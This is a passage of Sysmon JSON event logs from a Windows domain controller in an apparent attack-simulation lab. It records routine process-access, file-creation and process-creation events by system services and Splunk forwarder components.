12:04:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8385,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8386,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8387,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8388,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4355-5F2D-0000-001002831100}\r\nTargetProcessId: 2516\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4355-5F2D-0000-001002831100}","TargetProcessId":"2516","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8389,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.510\r\nSourceProcessGUID: {90617006-4355-5F2D-0000-001002831100}\r\nSourceProcessId: 2516\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.510","SourceProcessGUID":"{90617006-4355-5F2D-0000-001002831100}","SourceProcessId":"2516","SourceThreadId":"4488","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8390,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:38.026\r\nProcessGuid: {90617006-4354-5F2D-0000-0010FB7F1100}\r\nProcessId: 2584\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\a18-0\\System.Xaml.dll\r\nCreationUtcTime: 2020-08-07 12:04:38.026","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:38.026","ProcessGuid":"{90617006-4354-5F2D-0000-0010FB7F1100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\a18-0\\System.Xaml.dll","CreationUtcTime":"2020-08-07 12:04:38.026","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8391,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.074\r\nProcessGuid: {90617006-4356-5F2D-0000-001096851100}\r\nProcessId: 4212\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.074","ProcessGuid":"{90617006-4356-5F2D-0000-001096851100}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8392,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-001096851100}\r\nTargetProcessId: 4212\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-001096851100}","TargetProcessId":"4212","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8393,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-001096851100}\r\nTargetProcessId: 4212\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-001096851100}","TargetProcessId":"4212","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8394,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 